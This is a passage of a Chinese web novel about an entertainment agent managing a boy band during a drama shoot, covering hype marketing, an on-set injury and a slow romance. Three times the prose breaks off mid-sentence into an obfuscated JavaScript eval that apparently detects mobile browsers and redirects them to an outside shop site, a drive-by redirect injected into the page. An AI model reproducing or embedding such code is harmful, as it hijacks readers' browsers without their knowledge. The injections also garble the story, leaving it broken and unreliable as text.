三人形象条件好,每天持续十几个小时严苛到极致的训练,早已练出时刻入戏的本领,以至于宫欢怎么拍,他们的神态都很少有出戏的。 许多短视频下的评论区不少人评论“期待”、“想看”的内容,男团社交平台的粉丝量慢慢增加到了几万,粉丝逐渐增多,开始分划团粉唯粉了。 【风雨九州】在路透风波的一段时间后干脆配合这波黑热度来了一把炒作,由制片人和影片公司秘密宣发,导演甚至都不知情,在持续了一段时间后才被告知。 这事儿一出,演员们可就坐不住了。 主演金圆儿的炒作是代拍意外泄露,还是本人自导自演,剧组里众说纷纭,大部分人倾向于后者。 配角们有些是演过不少经典剧的男配女配,来这么大个IP剧拍摄本就是落了人一头,现在炒热度的架势又来压他们一头,谁坐得住? 于是一时间内,铺天盖地的皆是【风雨九州】的营销。 宫欢在这段势头中反而降低了投入。 前面营销是蹭热度,现在各家都在往前挤,急流勇退才是明智之举,她暂时通知水军营销组按兵不动,时刻盯着手机上的各大社交平台,关注最新的舆论导向。 这让宫欢最近非常像一只伺机而动的猫,静悄悄,动作小,每天的工作内容就是盯着手机电脑,眼睛不舍得移开一下。 三人里除了奚亭云心不在焉,另外两人都乐得没人管。 趁着宫欢不在,安声偷偷向剧组人员买小零食吃,买来的零食藏在各个地方,宫欢一没在,到处都能拿出东西来啃,活像只仓鼠。 萧子重则是就地熟睡,但凡有几分钟的空隙,他眼睛一闭就是睡,站着,坐着,躺着,甚至被威圧线吊在半空,都能头一歪,不动如山地熟睡过去。 搞得剧组人员常被他吓到,以为人晕过去了。 他体力消耗大,除了训练武打戏,磨练演技外,还乐于与剧组人员来往,元导的名声在这,萧子重除了畏惧她的威严之外,也非常钦佩这位老派导演,好奇她的剧组班底组成结构,他带着探究的心思,想知道老派导演是怎么拍戏的。 所以除了在拍戏外,萧子重常去钻研剧组里的调度问题,包括剧组的布景,拍摄镜头的角度,打光,如何呈现出一个好的镜头等,体能脑力消耗得自然也就更大。 人人都忙碌。 奚亭云的忙碌便显得没那么紧凑。 他常分心,走神。眼角的余光在拍戏间隙去搜寻宫欢的身影,看她在忙什么,在和谁说话,和谁打视频;神情是笑着,严肃的,慵懒的,还是熬夜过后满带倦意的。 他很喜欢这种感觉。 随时随地能看见她,她的身心都扑在他身上,比起刚开始他常常降低存在感的情况,现在他更倾向于刷脸。 他看得到自己的脸,是好看的,有吸引力的,这张脸被涂抹上粉底液,高光修容,薄薄的一层物质覆盖在脸上,便像带上了一张面具,他的真实也得以于藏匿在面具后面,借着这张脸去吸引她更是不学自会的行为。 最近很好。 他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126411|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间的关系更近了一步,亲吻过后,宫欢的态度不再忽冷忽热,忽远忽近,不再把他当做最边缘的一个人了。 这样就足够了。 奚亭云解开身上的威亚衣,元导让众人去休息会,大家各自散去,他理了理发皱的衣襟,做旧的织金红袍衬得他气质诡谲难辨,他往帐篷走,没几步便看见坐在帐篷外面和一众工作人员聊天的宫欢。 今天天气晴朗。帐篷外的草地上搭着野餐桌椅,上面摆满了道具,宫欢两腿交叠斜躺在野餐椅上,腿上放着纤薄的笔记本电脑,她随手顺了顺肩后的卷发,穿米色v领针织毛衣,白色西裤,裤腿上沾着草叶,正跟人聊得兴起。 奚亭云悄无声息地走近,蹲下身伸手将她裤腿上的草叶拂开。 宫欢还浑然不觉,是和她聊天的人止住话头,将目光投向半蹲下身的青年,一时间感受到了不可言说的氛围。 “怎么啦?”宫欢也跟着那人的目光往自己腿边看,猛然撞上一张笑意盈盈的脸,他顶着四五位专业化妆师精心画出的厉鬼妆容,却露出个如沐春风的笑,声音柔和轻声:“你们在聊什么?” 那位工作人员轻咳两声,十分自觉地抱着一怀的道具转身跑开:“我突然想起来还有事,先走了哈!” 完全不等宫欢反应,人就没了影,她怔了几秒,才看着奚亭云:“你什么时候过来的?” “你们聊天的时候。” 晴朗日光落下,金灿灿的草地反射着光,自然地给他打了反光板,他头顶也落了一片暖意,仍维持着半蹲在她身旁的姿势。 宫欢忽得走神,盯着他头上带着的长假发,有半捋垂落在额前,不显凌乱,反而是种萧瑟落寞感,长发浓黑柔顺,带着一圈光泽。 她不自禁上手轻轻摸了两下,赞叹道:“这假发包质量也太好了,不愧是大剧组。” 奚亭云借着她手的力道轻微偏头,好让她摸得更顺手。 他最近有些黏人。宫欢手指穿过柔顺的发丝,走神了片刻,不知在想些什么,整个人不言语地看着他的长发。 奚亭云眼睫微动,他捻起一缕垂落的发,轻柔不失力道地塞入她手心里,一根根的,将她的手指完全包住头发。 宫欢恍然回神,手心攥着那缕发丝,疑惑不解:“做什么?” 他不语,只是手包着她攥合的手,垂眼低头,一个吻柔柔落在手指上,带着热意,他停顿了好几秒,这几秒间,柔软的唇瓣缓缓摩擦过她的指骨,感官无限放大接触的部位,宫欢屏住呼吸,她感觉,他好像吮了下她手指。 手指被烫得蜷缩,轻颤了颤。 唇慢慢离开手指,奚亭云忽而抬眸,眼瞳的边缘泛着琥珀色的光晕,明明是澄澈的瞳色,却无端有艳色流露,宫欢吞咽几下唾液,有些紧张地想抽回手,却没抽走。 “给你。”他说,“你喜欢就给你。” 他胆子越来越大了,从接过吻后,就愈发得寸进尺,更进一步,步步紧逼,逼,逼人太甚...... 好像吃准了她不会拿他怎样。 远处传来略显嘈杂的交谈声,宫欢惊得猛然抽手,却忘了手心里还攥着他的一缕发,硬生生扯了他一下,奚亭云的头顺着她的力道倾靠过来,他闷哼出声,眉心因为痛意微微皱起,却很快松开。 “对对不起——” “我不疼。” 两人几乎是在同一时间说出,宫欢又咽了咽口中唾液,一下松开了那缕头发,她刷得一下站起身,忘了身上还放着笔记本电脑,电脑摔落在地,她却顾不上去捡,只是眼神飘忽,身侧的两手攥得紧紧的。 奚亭云淡然起身,将头发捋好,朝她笑着说:“我继续去训练了,你忙吧。” “嗯,嗯......”宫欢胡乱应答,看也不看他,目光死死看着远处的一块石头,像是上面开出了花。 他又轻声笑笑,发出气音来,半蹲下身将摔落的笔记本捡起,放回她刚才坐的地方,才慢慢离开。 宫欢在原地罚站了会,才偷偷默默地装作看风景,往他离去的方向看了眼,确保人确实不见了,才大口呼吸着。 她焦躁得很,目光瞥见身后的笔记本电脑,有些欲哭无泪:“...我的电脑啊!!” 121. 风雨九州13 随着各方热度炒作,本就是大IP的【风雨九州】,一时间受到的关注度、热度,都是前所未有的高。主演受到极高的关注度,土豪金姐更是找了许多圈内人脉为金圆儿助阵,【风雨九州】的绝大部分配角都是以前演过老剧的经典演员。 【风雨九州】的热度一度飙升至‘最受欢迎待播剧’,但有时候上映前越是炒得火热,播出后坠机的可能性也就越大。影视公司对这次的热度非常看重,直接与制片人和导演组联系。 陈导元导也在受邀之列,当时宫欢正与她们商量着接下来的拍摄安排,便见两人被助理叫走,直接开了一场长达三四个小时的视频会议。 宫欢没去忙别的,守在导演帐篷外面等着最新的一手消息。她直觉向来准,只觉得这次的热度可能会带来什么。 直到深夜凌晨,两位导演眉眼间带着疲惫的走出了帐篷。 宫欢忙不迭从休息椅中站起身迎上去,给两人端茶倒水殷勤得很,也不忘旁敲侧击:“怎么开这么久的会啊,你们脸色都不太好。” 陈导接过水吨吨吨灌下去,砸吧嘴,愁得不行:“事情大发了。” 元导也揉摁着额头坐在帐篷外的休息椅上,她头发半黑半白,熬夜只是有些疲态:“【风雨九州】可能要面临一次大的冲击。” “大大大大冲击!?”宫欢结巴起来,心里那股预感更为强烈,“什么情况啊?” 陈导元导对视一眼,最后还是由陈导来说明情况,她严肃道:“你知道现在短视频、短剧的火热程度吧。” 宫欢拉过一张椅子坐在两人对面,认真听着:“知道啊,但是短剧跟长剧没有可比性啊。” “不,不是这样看的,”陈导脸色凝重,“当今时代流量为王,能吸引观众视线的东西太多了,短视频,自媒体,短剧,这些会将原本的影视剧平台观众分流一部分,而这两年长剧落寞,影视行业出不来精品好剧,一水的流水线制作品,而短剧的节奏偏快准狠,直接跳过铺垫给你最直接的爽点苏点,这更是给了影视方面比较大的压力。” 宫欢思索着:“可是这和【风衣九州】有什么关系,漫改大IP,又是大制作,我们没必要去和短剧比啊,大家都不是一个赛道的。” 陈导换了个后仰瘫着的姿势,语气郁闷:“是这样啊,我们也是这样说的啊!” “啊?” 元导接过话头:“事情的起因是从路透视频开始的,这段时间各家艺人都在放出路透照,拍下剧组日常发出去,等同于跟所有网民宣告【风雨九州】拍摄中,快要播出了,这使得网上的热度很高,制片方不想轻易放过这个热点,他们和投资方商量过后,想让我们采取一个非常新颖的模式。” 宫欢有些紧张:“什么模式?” “边拍边播,以周播剧的形式上映各大视频平台。” “什么!?” “没错,”陈导搭话,“这方式好也是好,能及时收获观众反响,后期剧本及时调整,能对剧的把控更精准。可麻烦也是真麻烦,剧本需要送审,后期制作的成品剧集需要送审,这一来一回少说也要一星期,这样就大大延长了我们的拍摄进度,把控做不到那么精准。” “再说了,万一上映后反响平平,搞得剧组里人心惶惶,演员们的状态非常受影响,那损失更是惨重,哪里像他们那群人想得那么简单,说拍就拍好了,说上映就上映了。” 一部影视剧的成品后面的弯弯绕绕竟然这么麻烦,宫欢也颇觉头大,边拍边播,听起来诱惑力很大。 现今最受关注的待播剧、待播电影中,【风雨九州】名列前茅,巨大的诱惑力确实让人无法舍弃,就连宫欢也不由得希望这部剧能让男团三人受到一些关注,后面更好为他们铺路。 影视公司想借此热度让这部IP剧播出也情有可原。 “那,你们的想法呢?”宫欢小声追问着。 “我们能有什么想法,说了不建议,麻烦,可上面仍旧坚持尝试一次,”陈导耸着肩膀,“只能硬着头皮上了。” 这晚过后,【风雨九州】剧组重新调整调度与拍摄内容,各家艺人皆收到了临时调整剧集播出方式的通知。 宫欢是最先知道的,可仔细筹谋规划了一番,她很无奈地发现,这些跟男团没什么关系。现在事态尚不清晰明确,即使她做了营销策略,后面也未必能用,还不如就地躺下,等事情发生了再做考虑。 因此她就只将奚亭云三人的定妆照在微博发布了,偶尔再更新一些日常拍戏vlog活跃一下。 【风雨九州】剧组要应对的事可就多了。先是由影视公司制片方联系各大视频平台做好宣发定档播出的时间,再官博宣传,买营销通稿,铺天盖地、大张旗鼓的正式宣传——风雨九州即将开播。 这热度吸引了原著粉、路人粉都来观看,女主演一度成为近期内最被大众熟知的明星,势头猛烈,一度从三线艺人一跃到了新晋小花的程度,只是还差一部爆剧来定住咖位。 风雨九州的播出成败,受万众瞩目。 风雨九州的正式剧集拍摄进度只到了全剧的三分之二,奚亭云三人所饰演的三鬼将其实是偏中前期的部分,剧本里女主从这之后开始与人世为难。 三人的对戏试戏已有一段时间,在镜头前的适应力愈发稳当,导演们最近就在筹备正式拍摄。 拍摄期间,剧集便就开始上线网络平台正式播出,女主演金圆儿的形象虽不符合原著,可她气质脱俗,演技脱离了千篇一律的模板化,反倒让观众们眼前一亮,开播前的唱衰竟有部分扭转。 视频平台上刚播出了三四集,反响出奇得好,女主的始上神人设非常有亮点,金圆儿设计了些特有的表情动作,该严肃时严肃,该窘迫时倒也可爱。 剧中的个别台词被网友们流传玩梗,拍摄花絮也随着周播剧放出,加上剧组营销方向统一,不乱套,这部漫改IP剧不知不觉成了一股清流。 不少人慕名前来,带着“我倒要看看你拍得有多烂”的想法,点开剧集后:真山真水,服化道顶配拉满,演员们个个大牌,演技走心不敷衍。 更重要的是剧情节奏紧凑,比漫画的内容要更丰富,漫画的内容很多时候暗藏在画面细节里,而在这部影视剧中,都被暗暗融合在配角的台词与眼神间,不浮夸假大空,反而写实逼真。 不少人赞叹导演编剧,不愧是老牌班底,拍起来就是和外面的那些妖艳货色不同。 这让原本日夜加班连轴转的剧组班底松了口气,因为播出方式的改变,整个剧组都提心吊胆,紧绷着神经,现在尘埃落定,一切反而比想象中的好,人人面上都带着笑。 开播前,压力最大的当属女主演金圆儿,她本就是被姐姐塞来走得后门,提前几个月就刻苦训练背剧本,更改播出方式时她压力大到高烧,但还是努力训练,还好,播出后没有给剧组拖后腿,这使得她最近心情也好了不少,没之前那么冷漠不好相处。 因为剧集播出得太慢,一些粉丝顺藤摸瓜,根据剧集播出的山水辨认出了拍摄地在桂林,一些剧粉找来了剧组。 探班的粉丝们来了一波接一波,前前后后换了几批,剧组这两天格外热闹。颜色品种多不胜数的鲜花摆满了剧组大大小小的地方,不论是初出茅庐的女主演,还是大腕配角们,甚至连元导都有粉丝来探班送花。 男团三人看得实在眼热,羡慕。 剧组休息处,奚亭云专注着手上的剧本,另一手执笔,时不时添画点笔记上去。 旁边翘着二郎腿坐没坐相的萧子重嘴里叼着根狗尾巴草,眉头一高一低,眼睛紧盯着远处一群手捧鲜花的粉丝们,屁颠屁颠地追着一个老牌演员。 “咱们什么时候才能有这待遇啊?”萧子重看得直冒酸水,“我看在宫欢这,估计得等入土,身子埋半截才能看到点希望。” 奚亭云不看他,只翻过一页剧本,随意搭话道:“我以为话剧演员并不看重名利。” 这言下之意,激得萧子重紧跟着辩解:“谁说这是名利了,这是成就感,是观众对你的认可!” 奚亭云微微挑眉,并不回话。 他们在这休息了半小时,场务跑来叫人继续去拍摄。 【大闹阎罗殿】的剧情部分前面都已拍摄完毕,这段时间女主演除了拍前面的戏份外,还要抽时间跟他们对武打戏,目前的交手桥段过了元导这关,接着就是正常拍摄了。 这也意味着,他们的武打戏训练成果即将呈现最后的效果。 绿棚内,三人熟练地吊上威亚,化妆师在他们之间补妆做准备,金圆儿最后过来,束起威亚衣做好准备。 元导在监视器外举着喇叭,将角度灯光的问题全都调整完毕,才喊道:“Action!” 话音刚落,金圆儿迅速进入状态,鼓风机对着她呼呼吹动,她怒视前方三人,身体登时腾空,反手持戟猛力一震,只听轰隆隆作响,地面顿时崩裂几道缝隙。 三人专注地拍摄着剧情内容,周围剧组人员围了好几圈,都在观看这场重头戏,宫欢左挤右推才钻进来,溜到元导后面找了张空马扎坐下。 半空中吊起的四人正逢一场激烈的打斗,平时这场面会有武术替身,针对超高难度的动作容易受伤,武术替身来代为拍摄更好。奚亭云他们三个身强体壮,宫欢没找替身给他们,当然也是不想惯着毛病。 不过金圆儿没有替身倒是让宫欢意外,依照土豪金姐那架势,都下大手笔投资了,能怎么让自己人拍得轻松,拍得方便,肯定就怎么来啊。 金圆儿的固执,始终坚持这些细节,凡事都要自己上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完她转脸过来,关心着急的脸上顿时阴云密布,黑沉沉地如锅底:“你们,都给我,干嘛了!?” 金圆儿受伤时,宫欢那会在走神,并没完全看清事情缘由,她理所当然地将错误都归结到三人身上,脸色并不好看,带着质问的火气。 “什么叫我们干嘛了,”萧子重第一个回怼,就差在脸上写明冤枉二字,“我碰都没碰到她。” 安声也委屈道:“我们真的不是故意的,打架的时候我手忙脚乱,一点都没看清发生了什么。” 任他们怎么解释,宫欢都不听,仍然沉着脸:“都不知道怎么回事,难道她是自己把自己打伤的?”她环视周围散去的工作人员,压低声音继续道:“我都说了她是金姐那边的人,让你们让着她一点,她本来就没找武替,你们就不能多长个眼睛小心点吗!?” “不是,”萧子重不惯着她,眉头一横,手里的折扇一合就开始讲理,“本来拍的就是武打戏,再长眼睛还能怎么长啊,动刀动枪的时候受伤本来就是不可避免的事情,难不成我跟她假打啊?” 宫欢理所当然:“假打怎么了,就是让你假对戏你都得照做!” 说完宫欢看也不看他们,毫不留情地转身朝着金圆儿离开的方向去了,步伐急切匆忙。 她这么着急的态度从没在他们这显露过,现在对一个外人这么贴心上赶着,萧子重脸险些气歪,指着她背影找奚亭云讨说法:“你看看她,啊?你看看,这段时间哥几个谁伤不重啊,安声现在晚上睡觉还得趴着呢,我,我现在身上没一块好皮,她呢,她管过我们死活吗,动不动饭不让吃,觉不让睡,我们说过一句不乐意吗!?” “她现在倒好,那金圆儿就碰了点皮,她急得跟她亲妈一样,她干脆去做她的经纪人好了!” 萧子重气得抱胸站在旁边生闷气,胸前起伏不断,安声也对宫欢这行为颇为不满:“难道金圆儿也是欢欢姐的亲戚?” 宫欢的火爆脾气人尽皆知,尤其是他们和她相处了这么久,早就知道她说话毒,骄纵得没边,平时相处惯了没觉得有什么,可一遇到事,她这脾气就像是点燃引线的火,瞬间炸场。 平时高姐常在宫欢左右,除了处理事务外,做得最多的事就是帮她圆场。 可这次高姐不在,或许以后的很多时间里,宫欢身后都不会是她在,而是...... “毕竟是投资方的人,”奚亭云不但没与他们站队,脸上看不出丝毫生气,语气平和,甚至唇角带着自然上扬的弧度,“主演背后坐着几大投资公司,最近的播出方式都被调整更改了,导演她们没有任何办法,只能照做,没有投资就没有这部剧,更别说我们了,你们也理解一下欢——宫欢的处境。” 奚亭云险些口误,他不动声色地看过两位队友,没人对他刚才的停顿有疑问,才放下心来。 经他理智平静地解释,两人气过一阵后,自己就把自己哄好了,一个两个自觉地继续去练习武打戏。 以后,宫欢身后都会是他在。 122. 风雨九州14 主演受伤的插曲很快过去,伤不重,只是手臂上的皮肤泛着淤青,宫欢却连着送十几天的鸡汤,直到三人将“斩杀三鬼将”的戏份拍完,该走人的时候才停止送汤行为。 对此,金圆儿的助理长舒一口气,并且打了个鸡汤味的嗝。 长达一个半月的拍摄过程到了结束这天,三人颇为依依不舍地脱下沉重繁复的戏服,换回轻便私服,感觉身体都轻盈不少。 这些天来日日夜夜都在练习武打戏,每天吊着威亚在绿棚飞来飞去,不分白昼的作息,让三人只觉得自己好像机器,没日没夜的连轴转。 收拾完所有行李,宫欢仍在跟两位导演聊天,奚亭云三人在商务车上等她。 “小欢啊,有空常来看看,”陈导不舍地拉着她的手,一把鼻涕一把泪,“以后有好本子我还会找你的,呜呜呜呜......” 宫欢一面抽着纸巾给陈导擦泪,一面和元导聊着【风雨九州】的后续:“我看网络平台上面的剧集挺快的,全剧在多少集左右啊?会在什么时间播出,我好定档期让他们一起做宣传。” 元导仔细看了看手机上的预计播出日期:“全剧20集,中间不出意外的话,会在半月后播到“大闹阎罗殿”的部分,播出前我会跟你说的,放心吧。” “好嘞,那就麻烦您两位了,”宫欢笑着一一拥抱过两位导演,才转身上了商务车,靠在车窗边朝她们挥手,“走啦,改天再聚。” 商务车碾过凹凸不平的泥土路面,车身轻微摇晃着,车内三人如释重负,仿佛这才有了结束的感觉。 宫欢却没停过,她坐上副驾驶位拿出电脑,将拍摄结束的消息,定档日期的大概范围发给助理们。眼睛看着电脑屏幕,耳朵里塞着蓝牙耳机。 “在干嘛呢。”她忽而声音放轻,是少见的语气。后排座的三人都不由得顿住,互相看过一眼后准备搭话。 “我们...”奚亭云刚吐出两个字,宫欢便插话道,“剧本看得怎么样了,人物理解得透彻吗?” 随着这些话说出,紧跟着轻嗯两声,三人这才明白她是在打电话跟谁聊天,一个个面露尴尬神色,纷纷装作假寐,看窗外风景,留下卡在半路的奚亭云晾在原地。 “这边结束拍摄了,我晚点就赶过去,”宫欢手指哒哒哒地在键盘上敲着,分神出来说着话完全不卡壳,“没事,你那边也很重要,好了,我先挂断补会觉。” 说着她将电脑合上,摘掉耳机放在一边,揉着眼睛舒缓紧绷感。 车座椅背搭上一只手,奚亭云倾着身体过来,关切地看她:“这段时间辛苦了,回去好好休息一下。” 宫欢摇头,放低靠背好让姿势更舒适:“等下送你们到机场附近之后我要去小甘那边,她进组没多久,正是关键时刻,我得过去盯梢。” 一听见熟悉的字眼,没等奚亭云反应,装睡的萧子重先笔直地坐直了身体,一把挤开奚亭云凑到前面:“小甘新戏靠谱吗,有没有带资进组的人?导演班底好相处吗?助理在她身边吧?” 上次告别后,萧子重没再敢不回消息,每天嘘寒问暖关怀备至,不过太细节的事情他仍保持着克制,不敢过多追问。 不要太靠近,保持距离,是他始终恪守的底线。 宫欢被问得烦,觑他一眼,没说话。 萧子重被她看得心头发慌,默默缩回去继续躺尸。 奚亭云再次凑过来,明知故问:“我们这边刚结束拍摄,你就马上要转去她那边,会不会太匆忙了。” “没事,现在你们都处在很关键的时候,这是我的工作。”宫欢闭了闭眼,难得地显出恬静的神态,长发柔顺地被她压在身后,有几缕垂在侧脸飘晃,她侧头,表情淡淡,比平时炸毛的鲜活时刻显得更疏离些,奚亭云心里莫名的突突跳着,说不出来的恐慌。 他宁愿她大大咧咧地耍脾气,不由分说地凶人,怎样都好,只要不这么平静,冷淡,让他捉摸不透她的心思,好像从不了解她,甚至,他可能看到的从来都是她想给他们看的那个人,而不是真实的她。 他慌得不顾场合,伸手攥住她垂落一边的手腕,急切地想得到些肯定:“只是工作吗?” 手腕传来些痛意,她眉头一跳,忍不住拿眼瞥他。 好在两人的位置角度卡得巧妙,没让后面两人发现猫腻,宫欢眉心微拧,眼底带着责怪的意思,缓缓将手抽出来,揉着手腕,不冷不淡地说:“对,不然呢。” 几天不管就要上房揭瓦,该要让他自己知道知道分寸了,之前还会掩饰一下,现在在一辆车里都敢这么明目张胆。 宫欢不由得想,她是该打压一下他的风头,省得他...“恃宠而骄”? 奚亭云又拿那种受伤的眼神看她,她狠心偏过头看窗外,理也不理。 半响过后,窸窸窣窣地声响示意着他退回了后排座位,宫欢仍没动静,靠着车窗补觉。 四五个小时的车程抵达市内机场,宫欢将三人送到机场门口,交代几句:“回去之后别偷懒,继续按照之前的作息表来,我这段时间不回去,有高姐在,有什么事跟她说就好。” 除了奚亭云,另外两人应下来。宫欢并不理会他幽深不甘的注视,她现在已经能非常自洽地能忽略他的目光,游刃有余。 送走三人,宫欢乘坐其他航班前往竖店影视城,甘惊鸿最近的新戏就在那边拍摄,是一部都市职场剧,在剧中饰演女二,这部剧算是甘惊鸿近期大荧幕上的定型之笔,如果播出后反响不错,宫欢基本能给她定下咖位,往后接资源更有优势。 坐上飞机,宫欢望着窗外大片的云层出神。 男团三人的一部影视刷脸剧完成,酬劳不多,但这部作品班底与制作都是圈内一打一的,只比正剧略差一等,这部剧的作用是能让三人获得更多正面曝光度,他们现在的热度仍处在黑红边缘,这部剧能带来的改变很多。就等播出了。 其次是赵莉莉,她那部剧拍摄周期长,剧组班底不算很好,剧本优秀也能抵消掉班底的不足,后面就看播出效果了,能否顺利转型演技派的作品。 还有关清英,她是宫欢最为棘手头痛的一位艺人,最近挑选了不少本子递过去,关清英有在看,可都没给出个大致方向,徘徊不定的态度让人无从下手。 一切都在顺利地走上正轨,过了最初的起步期,中间的困难只要找到解决办法就不难,距离对赌协议过去了四个月,几乎是眨眼间的事情,可现在的进账寥寥无几,她难免焦虑,只好一边焦虑,一边努力。 - 甘惊鸿拍戏的剧组在竖店影视城的现代街区,与赵莉莉所在的剧组相邻,宫欢赶到地方时,两人正站在一起笑着聊天。 一人穿着修身的旗袍,肩披浅咖色的流苏披肩;一人身穿衬衫西裤,衬衫下摆扎进了裤子里,显出纤薄的腰身,古今对比,漂亮得让人移不开眼。 宫欢走来便看见这一幕,不由得弯了弯眉眼,露出个迷醉的神情。 啊,真养眼啊。 她陶醉地看了会,聊天的两人察觉到注视,转身看过来,发现宫欢后都很惊讶。 “欢姐?”甘惊鸿抬手挡了挡太阳光,确定自己没眼花,“你这么快就过来了啊。” 赵莉莉也朝着宫欢微笑点头示意:“他们那边的事儿忙完了?” 两大美人遥遥相望,谁都不由得心神晃荡,宫欢乐滋滋地屁颠屁颠跑来,笑得像花一样:“完了完了,总算不用天天对着他们三个臭皮匠了,终于可以陪我的大明星啦。” 她嘴甜,逗得两人都笑。只是笑着笑着互相对视一眼,赵莉莉意味深长地说:“就这么抛下你的小情人,舍得吗?” 宫欢脸上的笑意立刻僵住,龟裂:“什,什么情人??” “咳咳咳咳,”甘惊鸿佯装无辜地背起手挪着小碎步,想离开现场,被宫欢一把拽住,脸色极其难看,“甘惊鸿!” 甘惊鸿忙举起双手求饶,可怜巴巴地嘟囔:“我我我没说什么呢,是莉姐自己猜出来的......” “原来是真的啊~”赵莉莉笑意不变,细细的柳叶眉挑起,调侃道,“没想到你喜欢安声那种类型的,啧啧,果然女人都喜欢清纯无知的小男生,唉,我还以为你会更喜欢奚亭云,或者是萧子重呢。” 提到奚亭云时,宫欢的脸色白了又红。 提到萧子重时,甘惊鸿的脸色红了又红。 两人极度心虚,互相看了眼,宫欢默默松开抓着甘惊鸿的手,两人对立而站着,一个比一个拘谨。 宫欢心虚当事人还没真的被爆出来,现在只能先拿大外甥挡刀。 甘惊鸿心虚的则是,她确实对萧子重有点感觉。 唯有赵莉莉一段话一石二鸟将她们的心思无意戳中,堪称封神之语。 两人心里直敲鼓,只得露出尬笑,试图转移话题将这事翻篇。 可惜,她们遇上的是赵莉莉。她在圈内多年,看人眼色的时刻只多不少,宫欢与甘惊鸿两人的神情变化她一一看在眼里,她剪水秋瞳盈盈闪动,略作思索,却不多问,只是缓缓勾起笑意藏下那些猜测。 为两人留足了面子。 - 来竖店后的一段时间里,宫欢心态放稳许多。在男团三人身边时,他们自身不断向外散发着的不确定感很容易干扰她,而在赵莉莉甘惊鸿身边,她们对事业的态度更有信念感,个人状态稳定,这间接影响着宫欢,她也稳下心绪,安心做着每位艺人的职业规划路线。 不知为何,从机场分别后,奚亭云给她发消息的次数逐渐增多。 拍摄【风雨九州】前,他很少给她发日常消息,可好像那段时间的接触下来,宫欢大概给他太多的甜头了,现在一下冷落了他,就有些不受控地开始闹。 微信提示声直接被宫欢静了音,一会没看就有十几条消息。 奚亭云的纯黑色头像一下越过众多联系人攀上顶峰。 奚亭云: 【训练日常我们都有在好好完成,要检查吗?】 【没有吃乱七八糟的东西,很健康/健康餐.JPG】 【欢欢...你是不是生气了?】 【我是不是太逾越,让你觉得不适应?】 【我下次会注意,不这么让你困扰,好吗?】 【吃午饭了/叶子菜.jpg】 【不要忙到忘记吃饭,在剧组的时候你就经常忘记。对了,我身上的伤有点严重,在去医院拍片看是不是骨折了,不用担心我/笑】 【医生说要休养一段时间,还好不严重,我可以继续训练/骨折图.JPG】 宫欢忍了又忍,看到后面那张图片还是没忍住回复:【骨折了还练什么,给我好好躺着行吗!!】 奚亭云发来一个她的Q版嘟嘴表情包:【好~我训练完就躺着。】 表情包出现的一瞬间,宫欢当即就有些绷不住:【你怎么发我的表情包,还有,骨折了就别训练了啊,老老实实休养。】 奚亭云:【好看,可爱,漂亮,乖巧......】 啪得一声,宫欢将手机锁屏丢到旁边,头痛且无奈地扶着额头。 他一天到晚能发几百条消息,时不时还发来定位,告诉她行程。 宫欢不回,奚亭云就总能说出几句看似云淡风轻,却让人心慌心疼的话。她有时故意忽视那些话,咬死不回消息。 隔了几小时后,奚亭云就能受个伤给她看,要么流血,要么淤青发紫,冷白的肤色衬得伤势触目惊心。他却还不以为然地说只是小伤。 宫欢后来恼了,说,他要是再受伤,她就再也不想理他了。 这招虽然直接,却很好用,奚亭云果然再没有发过受伤照片给她......他换了种方式,开始发涩照。 还是不经意的、无意地那类。 腹肌,胸肌,腿,手臂,脖颈,喉结等等等等,宫欢有时候都不敢在外面点开他的聊天界面......只能在没人的时候悄悄看,生怕被别人误以为她在看什么——不健康的东西。 宫欢看得十分不适,她脸红红,义正言辞地发消息:【能不能别总是发这些照片。】 奚亭云:【是不好看吗,哪里需要改?】 宫欢:【...那倒不是,不是,这不是改不改的问题,是不适合发给我!我现在都不敢点开聊天界面。】 奚亭云答应得很快:【抱歉,我会注意的。】 宫欢长舒了一口气,心想,他终于要适可而止了。 半小时后,奚亭云发来一条长达三分钟的视频。 视频的封面里模糊的腹肌一闪而过。 奚亭云:【这样呢?】 宫欢:“......” 她不是这个意思啊!! 总之,陪甘惊鸿在剧组的时间里,宫欢每次看奚亭云的消息都像在做贼,总要悄咪咪地左右看看身后有没有人,将手机亮度调到最低,才敢点开消息界面查看内容。 搞得她神经兮兮的。 时间飞逝,一个月很快过去。 宫欢收到【风雨九州】元导的消息,【风雨九州】中【大闹阎罗殿】剧集将要播出,让她做好剧宣准备。 接到电话时,宫欢正一只手给甘惊鸿撑伞挡太阳,空出的手接起电话,得到消息时满心欣喜,连连应下对面的话后,转手将伞塞给甘惊鸿,跑去联系高姐开始营销。 三人是作为特邀嘉宾出演【风雨九州】,定妆照先行发布,之前的武打戏vlog发布后吸引来的粉丝不少,这会宣传海报刚一发布,再艾特官方微博,评论区下方的转发与评论数量竟也上千上万。 这是他们的第二次面向更大的平台露面,影视剧二创的作品多,随便剪剪视频发个视频平台,路人能看到的就更多,吸引到的粉丝群体更为广泛。 男团三人的粉丝里面有一部分是‘怜爱粉’,是之前宫欢在‘初舞台事件’后的营销所致,她将自己塑造成了一个黑红的嚣张跋扈的经纪人,这些粉丝们作为男团基础粉,不断给三人做着宣传介绍。 X男团虽然比不上璀璨娱乐的团,不过也算是时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 